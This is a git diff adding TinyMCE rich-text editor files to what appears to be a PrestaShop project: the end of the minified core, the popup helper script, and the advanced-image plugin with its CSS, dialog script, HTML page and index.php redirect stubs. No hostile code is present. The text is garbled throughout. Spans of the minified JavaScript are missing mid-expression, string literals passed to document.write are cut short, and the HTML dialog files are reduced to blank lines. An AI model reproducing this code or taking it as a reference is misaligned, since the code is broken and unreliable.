ax=au.nodeName.toLowerCase(),aw=au.parentNode.nodeName.toLowerCase(),av;if(g(ax,"br")){ar=0;if(ah.block){c.remove(au)}return}if(ah.wrapper&&x(au,Z,ag)){ar=0;return}if(ah.block&&!ah.wrapper&&G(ax)){au=c.rename(au,ao);W(au);ak.push(au);ar=0;return}if(ah.selector){P(ac,function(ay){if("collapsed" in ay&&ay.collapsed!==ad){return}if(c.is(au,ay.selector)&&!b(au)){W(au,ay);av=true}});if(!ah.inline||av){ar=0;return}}if(d(ao,ax)&&d(aw,ao)&&!(!ap&&au.nodeType===3&&au.nodeValue.length===1&&au.nodeValue.charCodeAt(0)===65279)&&!b(au)){if(!ar){ar=am.cloneNode(S);au.parentNode.insertBefore(ar,au);ak.push(ar)}ar.appendChild(au)}else{if(ax=="li"&&an){ar=Y(au,an,am,ak,at)}else{ar=0;P(a.grep(au.childNodes),at);ar=0}}}P(aq,at)});if(ah.wrap_links===false){P(ak,function(aq){function ar(aw){var av,au,at;if(aw.nodeName==="A"){au=am.cloneNode(S);ak.push(au);at=a.grep(aw.childNodes);for(av=0;av1||!F(at))&&aq===0){c.remove(at,1);return}if(ah.inline||ah.wrapper){if(!ah.exact&&aq===1){at=ar(at)}P(ac,function(av){P(c.select(av.inline,at),function(ax){var aw;if(av.wrap_links===false){aw=ax.parentNode;do{if(aw.nodeName==="A"){return}}while(aw=aw.parentNode)}U(av,ag,ax,av.exact?ax:null)})});if(x(at.parentNode,Z,ag)){c.remove(at,1);at=0;return B}if(ah.merge_with_parents){c.getParent(at.parentNode,function(av){if(x(av,Z,ag)){c.remove(at,1);at=0;return B}})}if(at&&ah.merge_siblings!==false){at=u(C(at),at);at=u(at,C(at,B))}}})}if(ah){if(ab){if(ab.nodeType){X=c.createRng();X.setStartBefore(ab);X.setEndAfter(ab);ai(o(X,ac),null,true)}else{ai(ab,null,true)}}else{if(!ad||!ah.inline||c.select("td.mceSelected,th.mceSelected").length){var aj=V.selection.getNode();V.selection.setRng(aa());af=q.getBookmark();ai(o(q.getRng(B),ac),af);if(ah.styles&&(ah.styles.color||ah.styles.textDecoration)){a.walk(aj,I,"childNodes");I(aj)}q.moveToBookmark(af);N(q.getRng(B));V.nodeChanged()}else{Q("apply",Z,ag)}}}}function A(Y,ag,aa){var ab=R(Y),ai=ab[0],af,ae,X;function Z(an){var am,al,ak;am=a.grep(an.childNodes);for(al=0,ak=ab.length;al=0;X--){W=ac[X].selector;if(!W){return B}for(ab=Y.length-1;ab>=0;ab--){if(c.is(Y[ab],W)){return B}}}}return S}a.extend(this,{get:R,register:k,apply:T,remove:A,toggle:D,match:j,matchAll:v,matchNode:x,canApply:y});function h(W,X){if(g(W,X.inline)){return B}if(g(W,X.block)){return B}if(X.selector){return c.is(W,X.selector)}}function g(X,W){X=X||"";W=W||"";X=""+(X.nodeName||X);W=""+(W.nodeName||W);return X.toLowerCase()==W.toLowerCase()}function L(X,W){var Y=c.getStyle(X,W);if(W=="color"||W=="backgroundColor"){Y=c.toHex(Y)}if(W=="fontWeight"&&Y==700){Y="bold"}return""+Y}function r(W,X){if(typeof(W)!="string"){W=W(X)}else{if(X){W=W.replace(/%(\w+)/g,function(Z,Y){return X[Y]||Z})}}return W}function f(W){return W&&W.nodeType===3&&/^([\t \r\n]+|)$/.test(W.nodeValue)}function O(Y,X,W){var Z=c.create(X,W);Y.parentNode.insertBefore(Z,Y);Z.appendChild(Y);return Z}function o(W,ai,Z){var Y=W.startContainer,ad=W.startOffset,al=W.endContainer,af=W.endOffset,ak,ah,ac,ag;function aj(ar){var am,ap,aq,ao,an;am=ap=ar?Y:al;an=ar?"previousSibling":"nextSibling";root=c.getRoot();if(am.nodeType==3&&!f(am)){if(ar?ad>0:afah?ah:ad];if(Y.nodeType==3){ad=0}}if(al.nodeType==1&&al.hasChildNodes()){ah=al.childNodes.length-1;al=al.childNodes[af>ah?ah:af-1];if(al.nodeType==3){af=al.nodeValue.length}}if(H(Y.parentNode)||H(Y)){Y=H(Y)?Y:Y.parentNode;Y=Y.nextSibling||Y;if(Y.nodeType==3){ad=0}}if(H(al.parentNode)||H(al)){al=H(al)?al:al.parentNode;al=al.previousSibling||al;if(al.nodeType==3){af=al.length}}if(ai[0].inline){if(W.collapsed){function ae(an,ar,au){var aq,ao,at,am;function ap(aw,ay){var az,av,ax=aw.nodeValue;if(typeof(ay)=="undefined"){ay=au?ax.length:0}if(au){az=ax.lastIndexOf(" ",ay);av=ax.lastIndexOf("\u00a0",ay);az=az>av?az:av;if(az!==-1&&!Z){az++}}else{az=ax.indexOf(" ",ay);av=ax.indexOf("\u00a0",ay);az=az!==-1&&(av===-1||az0&&ac.node.nodeType===3&&ac.node.nodeValue.charAt(ac.offset-1)===" "){if(ac.offset>1){al=ac.node;al.splitText(ac.offset-1)}else{if(ac.node.previousSibling){}}}}}if(ai[0].inline||ai[0].block_expand){if(!ai[0].inline||(Y.nodeType!=3||ad===0)){Y=aj(true)}if(!ai[0].inline||(al.nodeType!=3||af===al.nodeValue.length)){al=aj()}}if(ai[0].selector&&ai[0].expand!==S&&!ai[0].inline){function aa(an,am){var ao,ap,ar,aq;if(an.nodeType==3&&an.nodeValue.length==0&&an[am]){an=an[am]}ao=m(an);for(ap=0;apY?Y:aa]}if(W.nodeType===3&&ab&&aa>=W.nodeValue.length){W=new t(W,V.getBody()).next()||W}if(W.nodeType===3&&!ab&&aa==0){W=new t(W,V.getBody()).prev()||W}return W}function Q(af,W,ad){var ai,ag="_mce_caret",X=V.settings.caret_debug;ai=a.isGecko?"\u200B":E;function Y(ak){var aj=c.create("span",{id:ag,"data-mce-bogus":true,style:X?"color:red":""});if(ak){aj.appendChild(V.getDoc().createTextNode(ai))}return aj}function ae(ak,aj){while(ak){if((ak.nodeType===3&&ak.nodeValue!==ai)||ak.childNodes.length>1){return false}if(aj&&ak.nodeType===1){aj.push(ak)}ak=ak.firstChild}return true}function ab(aj){while(aj){if(aj.id===ag){return aj}aj=aj.parentNode}}function aa(aj){var ak;if(aj){ak=new t(aj,aj);for(aj=ak.current();aj;aj=ak.next()){if(aj.nodeType===3){return aj}}}}function Z(al,ak){var am,aj;if(!al){al=ab(q.getStart());if(!al){while(al=c.get(ag)){Z(al,false)}}}else{aj=q.getRng(true);if(ae(al)){if(ak!==false){aj.setStartBefore(al);aj.setEndBefore(al)}c.remove(al)}else{am=aa(al);if(am.nodeValue.charAt(0)===E){am=am.deleteData(0,1)}c.remove(al,1)}q.setRng(aj)}}function ac(){var al,aj,ap,ao,am,ak,an;al=q.getRng(true);ao=al.startOffset;ak=al.startContainer;an=ak.nodeValue;aj=ab(q.getStart());if(aj){ap=aa(aj)}if(an&&ao>0&&ao=0;an--){al.appendChild(ar[an].cloneNode(false));al=al.firstChild}al.appendChild(c.doc.createTextNode(ai));al=al.firstChild;c.insertAfter(aq,at);q.setCursorLocation(al,1)}}if(!self._hasCaretEvents){V.onBeforeGetContent.addToTop(function(){var aj=[],ak;if(ae(ab(q.getStart()),aj)){ak=aj.length;while(ak--){c.setAttrib(aj[ak],"data-mce-bogus","1")}}});a.each("onMouseUp onKeyUp".split(" "),function(aj){V[aj].addToTop(function(){Z()})});V.onKeyDown.addToTop(function(aj,al){var ak=al.keyCode;if(ak==8||ak==37||ak==39){Z(ab(q.getStart()))}});self._hasCaretEvents=true}if(af=="apply"){ac()}else{ah()}}function N(X){var W=X.startContainer,ac=X.startOffset,ab,aa,Y,Z;if(W.nodeType==3&&ac>=W.nodeValue.length-1){W=W.parentNode;ac=s(W)+1}if(W.nodeType==1){Y=W.childNodes;W=Y[Math.min(ac,Y.length-1)];ab=new t(W);if(ac>Y.length-1){ab.next()}for(aa=ab.current();aa;aa=ab.next()){if(aa.nodeType==3&&!f(aa)){Z=c.create("a",null,E);aa.parentNode.insertBefore(Z,aa);X.setStart(aa,0);q.setRng(X);c.remove(Z);return}}}}}})(tinymce);tinymce.onAddEditor.add(function(e,a){var d,h,g,c=a.settings;if(c.inline_styles){h=e.explode(c.font_size_legacy_values);function b(j,i){e.each(i,function(l,k){if(l){g.setStyle(j,k,l)}});g.rename(j,"span")}d={font:function(j,i){b(i,{backgroundColor:i.style.backgroundColor,color:i.color,fontFamily:i.face,fontSize:h[parseInt(i.size)-1]})},u:function(j,i){b(i,{textDecoration:"underline"})},strike:function(j,i){b(i,{textDecoration:"line-through"})}};function f(i,j){g=i.dom;if(c.convert_fonts_to_spans){e.each(g.select("font,u,strike",j.node),function(k){d[k.nodeName.toLowerCase()](a.dom,k)})}}a.onPreProcess.add(f);a.onSetContent.add(f);a.onInit.add(function(){a.selection.onSetContent.add(f)})}}); \ No newline at end of file diff --git a/js/tiny_mce/tiny_mce_popup.js b/js/tiny_mce/tiny_mce_popup.js new file mode 100755 index 0000000..f859d24 --- /dev/null +++ b/js/tiny_mce/tiny_mce_popup.js @@ -0,0 +1,5 @@ + +// Uncomment and change this document.domain value if you are loading the script cross subdomains +// document.domain = 'moxiecode.com'; + +var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var b=this,a,c;a=b.getWin();tinymce=a.tinymce;tinyMCE=a.tinyMCE;b.editor=tinymce.EditorManager.activeEditor;b.params=b.editor.windowManager.params;b.features=b.editor.windowManager.features;b.dom=b.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document);if(b.features.popup_css!==false){b.dom.loadCSS(b.features.popup_css||b.editor.settings.popup_css)}b.listeners=[];b.onInit={add:function(e,d){b.listeners.push({func:e,scope:d})}};b.isWindow=!b.getWindowArg("mce_inline");b.id=b.getWindowArg("mce_window_id");b.editor.windowManager.onOpen.dispatch(b.editor.windowManager,window)},getWin:function(){return(!window.frameElement&&window.dialogArguments)||opener||parent||top},getWindowArg:function(c,b){var a=this.params[c];return tinymce.is(a)?a:b},getParam:function(b,a){return this.editor.getParam(b,a)},getLang:function(b,a){return this.editor.getLang(b,a)},execCommand:function(d,c,e,b){b=b||{};b.skip_focus=1;this.restoreSelection();return this.editor.execCommand(d,c,e,b)},resizeToInnerSize:function(){var a=this;setTimeout(function(){var b=a.dom.getViewPort(window);a.editor.windowManager.resizeBy(a.getWindowArg("mce_width")-b.w,a.getWindowArg("mce_height")-b.h,a.id||window)},10)},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark(1)},restoreSelection:function(){var a=tinyMCEPopup;if(!a.isWindow&&tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},requireLangPack:function(){var b=this,a=b.getWindowArg("plugin_url")||b.getWindowArg("theme_url");if(a&&b.editor.settings.language&&b.features.translate_i18n!==false&&b.editor.settings.language_load!==false){a+="/langs/"+b.editor.settings.language+"_dlg.js";if(!tinymce.ScriptLoader.isDone(a)){document.write(' + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + +
    + + + +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/advimage/css/advimage.css b/js/tiny_mce2/plugins/advimage/css/advimage.css new file mode 100755 index 0000000..228530f --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/css/advimage.css @@ -0,0 +1,13 @@ +#src_list, #over_list, #out_list {width:280px;} +.mceActionPanel {margin-top:7px;} +.alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} +.checkbox {border:0;} +.panel_wrapper div.current {height:305px;} +#prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} +#align, #classlist {width:150px;} +#width, #height {vertical-align:middle; width:50px; text-align:center;} +#vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} +#class_list {width:180px;} +input {width: 280px;} +#constrain, #onmousemovecheck {width:auto;} +#id, #dir, #lang, #usemap, #longdesc {width:200px;} diff --git a/js/tiny_mce2/plugins/advimage/css/index.php b/js/tiny_mce2/plugins/advimage/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advimage/editor_plugin.js b/js/tiny_mce2/plugins/advimage/editor_plugin.js new file mode 100755 index 0000000..d613a61 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AdvancedImagePlugin",{init:function(a,b){a.addCommand("mceAdvImage",function(){if(a.dom.getAttrib(a.selection.getNode(),"class","").indexOf("mceItem")!=-1){return}a.windowManager.open({file:b+"/image.htm",width:480+parseInt(a.getLang("advimage.delta_width",0)),height:385+parseInt(a.getLang("advimage.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("image",{title:"advimage.image_desc",cmd:"mceAdvImage"})},getInfo:function(){return{longname:"Advanced image",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advimage",tinymce.plugins.AdvancedImagePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/editor_plugin_src.js b/js/tiny_mce2/plugins/advimage/editor_plugin_src.js new file mode 100755 index 0000000..76df89a --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/editor_plugin_src.js @@ -0,0 +1,50 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AdvancedImagePlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceAdvImage', function() { + // Internal image object like a flash placeholder + if (ed.dom.getAttrib(ed.selection.getNode(), 'class', '').indexOf('mceItem') != -1) + return; + + ed.windowManager.open({ + file : url + '/image.htm', + width : 480 + parseInt(ed.getLang('advimage.delta_width', 0)), + height : 385 + parseInt(ed.getLang('advimage.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('image', { + title : 'advimage.image_desc', + cmd : 'mceAdvImage' + }); + }, + + getInfo : function() { + return { + longname : 'Advanced image', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advimage', tinymce.plugins.AdvancedImagePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/image.htm b/js/tiny_mce2/plugins/advimage/image.htm new file mode 100755 index 0000000..835d388 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/image.htm @@ -0,0 +1,235 @@ + + + + {#advimage_dlg.dialog_title} + + + + + + + + + + +
    + + +
    +
    +
    + {#advimage_dlg.general} + + + + + + + + + + + + + + + + + + + +
    + +
    + {#advimage_dlg.preview} + +
    +
    + +
    +
    + {#advimage_dlg.tab_appearance} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + {#advimage_dlg.example_img} + Lorem ipsum, Dolor sit amet, consectetuer adipiscing loreum ipsum edipiscing elit, sed diam + nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.Loreum ipsum + edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam + erat volutpat. +
    +
    + + x + + px +
      + + + + +
    +
    +
    +
    + +
    +
    + {#advimage_dlg.swap_image} + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    + + + + +
     
    +
    + +
    + {#advimage_dlg.misc} + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + +
    + + + + +
     
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/advimage/img/index.php b/js/tiny_mce2/plugins/advimage/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advimage/img/sample.gif b/js/tiny_mce2/plugins/advimage/img/sample.gif new file mode 100755 index 0000000..53bf689 Binary files /dev/null and b/js/tiny_mce2/plugins/advimage/img/sample.gif differ diff --git a/js/tiny_mce2/plugins/advimage/index.php b/js/tiny_mce2/plugins/advimage/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advimage/js/image.js b/js/tiny_mce2/plugins/advimage/js/image.js new file mode 100755 index 0000000..7e3cf00 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/js/image.js @@ -0,0 +1,462 @@ +var ImageDialog = { + preInit : function() { + var url; + + tinyMCEPopup.requireLangPack(); + + if (url = tinyMCEPopup.getParam("external_image_list_url")) + document.write(''); + }, + + init : function(ed) { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(), fl = tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList'); + + tinyMCEPopup.resizeToInnerSize(); + this.fillClassList('class_list'); + this.fillFileList('src_list', fl); + this.fillFileList('over_list', fl); + this.fillFileList('out_list', fl); + TinyMCE_EditableSelects.init(); + + if (n.nodeName == 'IMG') { + nl.src.value = dom.getAttrib(n, 'src'); + nl.width.value = dom.getAttrib(n, 'width'); + nl.height.value = dom.getAttrib(n, 'height'); + nl.alt.value = dom.getAttrib(n, 'alt'); + nl.title.value = dom.getAttrib(n, 'title'); + nl.vspace.value = this.getAttrib(n, 'vspace'); + nl.hspace.value = this.getAttrib(n, 'hspace'); + nl.border.value = this.getAttrib(n, 'border'); + selectByValue(f, 'align', this.getAttrib(n, 'align')); + selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); + nl.style.value = dom.getAttrib(n, 'style'); + nl.id.value = dom.getAttrib(n, 'id'); + nl.dir.value = dom.getAttrib(n, 'dir'); + nl.lang.value = dom.getAttrib(n, 'lang'); + nl.usemap.value = dom.getAttrib(n, 'usemap'); + nl.longdesc.value = dom.getAttrib(n, 'longdesc'); + nl.insert.value = ed.getLang('update'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) + nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) + nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (ed.settings.inline_styles) { + // Move attribs to styles + if (dom.getAttrib(n, 'align')) + this.updateStyle('align'); + + if (dom.getAttrib(n, 'hspace')) + this.updateStyle('hspace'); + + if (dom.getAttrib(n, 'border')) + this.updateStyle('border'); + + if (dom.getAttrib(n, 'vspace')) + this.updateStyle('vspace'); + } + } + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); + if (isVisible('overbrowser')) + document.getElementById('onmouseoversrc').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); + if (isVisible('outbrowser')) + document.getElementById('onmouseoutsrc').style.width = '260px'; + + // If option enabled default contrain proportions to checked + if (ed.getParam("advimage_constrain_proportions", true)) + f.constrain.checked = true; + + // Check swap image if valid data + if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) + this.setSwapImage(true); + else + this.setSwapImage(false); + + this.changeAppearance(); + this.showPreviewImage(nl.src.value, 1); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { + if (!f.alt.value) { + tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { + if (s) + t.insertAndClose(); + }); + + return; + } + } + + t.insertAndClose(); + }, + + insertAndClose : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + // Fixes crash in Safari + if (tinymce.isWebKit) + ed.getWin().focus(); + + if (!ed.settings.inline_styles) { + args = { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }; + } else { + // Remove deprecated values + args = { + vspace : '', + hspace : '', + border : '', + align : '' + }; + } + + tinymce.extend(args, { + src : nl.src.value.replace(/ /g, '%20'), + width : nl.width.value, + height : nl.height.value, + alt : nl.alt.value, + title : nl.title.value, + 'class' : getSelectValue(f, 'class_list'), + style : nl.style.value, + id : nl.id.value, + dir : nl.dir.value, + lang : nl.lang.value, + usemap : nl.usemap.value, + longdesc : nl.longdesc.value + }); + + args.onmouseover = args.onmouseout = ''; + + if (f.onmousemovecheck.checked) { + if (nl.onmouseoversrc.value) + args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; + + if (nl.onmouseoutsrc.value) + args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; + } + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + setSwapImage : function(st) { + var f = document.forms[0]; + + f.onmousemovecheck.checked = st; + setBrowserDisabled('overbrowser', !st); + setBrowserDisabled('outbrowser', !st); + + if (f.over_list) + f.over_list.disabled = !st; + + if (f.out_list) + f.out_list.disabled = !st; + + f.onmouseoversrc.disabled = !st; + f.onmouseoutsrc.disabled = !st; + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options.length = 0; + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + lst.options.length = 0; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.elements.width.value = f.elements.height.value = ''; + }, + + updateImageData : function(img, st) { + var f = document.forms[0]; + + if (!st) { + f.elements.width.value = img.width; + f.elements.height.value = img.height; + } + + this.preloadImg = img; + }, + + changeAppearance : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); + + if (img) { + if (ed.getParam('inline_styles')) { + ed.dom.setAttrib(img, 'style', f.style.value); + } else { + img.align = f.align.value; + img.border = f.border.value; + img.hspace = f.hspace.value; + img.vspace = f.vspace.value; + } + } + }, + + changeHeight : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; + f.height.value = tp.toFixed(0); + }, + + changeWidth : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; + f.width.value = tp.toFixed(0); + }, + + updateStyle : function(ty) { + var dom = tinyMCEPopup.dom, b, bStyle, bColor, v, isIE = tinymce.isIE, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); + + if (tinyMCEPopup.editor.settings.inline_styles) { + // Handle align + if (ty == 'align') { + dom.setStyle(img, 'float', ''); + dom.setStyle(img, 'vertical-align', ''); + + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') + dom.setStyle(img, 'float', v); + else + img.style.verticalAlign = v; + } + } + + // Handle border + if (ty == 'border') { + b = img.style.border ? img.style.border.split(' ') : []; + bStyle = dom.getStyle(img, 'border-style'); + bColor = dom.getStyle(img, 'border-color'); + + dom.setStyle(img, 'border', ''); + + v = f.border.value; + if (v || v == '0') { + if (v == '0') + img.style.border = isIE ? '0' : '0 none none'; + else { + if (b.length == 3 && b[isIE ? 2 : 1]) + bStyle = b[isIE ? 2 : 1]; + else if (!bStyle || bStyle == 'none') + bStyle = 'solid'; + if (b.length == 3 && b[isIE ? 0 : 2]) + bColor = b[isIE ? 0 : 2]; + else if (!bColor || bColor == 'none') + bColor = 'black'; + img.style.border = v + 'px ' + bStyle + ' ' + bColor; + } + } + } + + // Handle hspace + if (ty == 'hspace') { + dom.setStyle(img, 'marginLeft', ''); + dom.setStyle(img, 'marginRight', ''); + + v = f.hspace.value; + if (v) { + img.style.marginLeft = v + 'px'; + img.style.marginRight = v + 'px'; + } + } + + // Handle vspace + if (ty == 'vspace') { + dom.setStyle(img, 'marginTop', ''); + dom.setStyle(img, 'marginBottom', ''); + + v = f.vspace.value; + if (v) { + img.style.marginTop = v + 'px'; + img.style.marginBottom = v + 'px'; + } + } + + // Merge + dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); + } + }, + + changeMouseMove : function() { + }, + + showPreviewImage : function(u, st) { + if (!u) { + tinyMCEPopup.dom.setHTML('prev', ''); + return; + } + + if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) + this.resetImageData(); + + u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); + + if (!st) + tinyMCEPopup.dom.setHTML('prev', ''); + else + tinyMCEPopup.dom.setHTML('prev', ''); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce2/plugins/advimage/js/index.php b/js/tiny_mce2/plugins/advimage/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/js/index.php 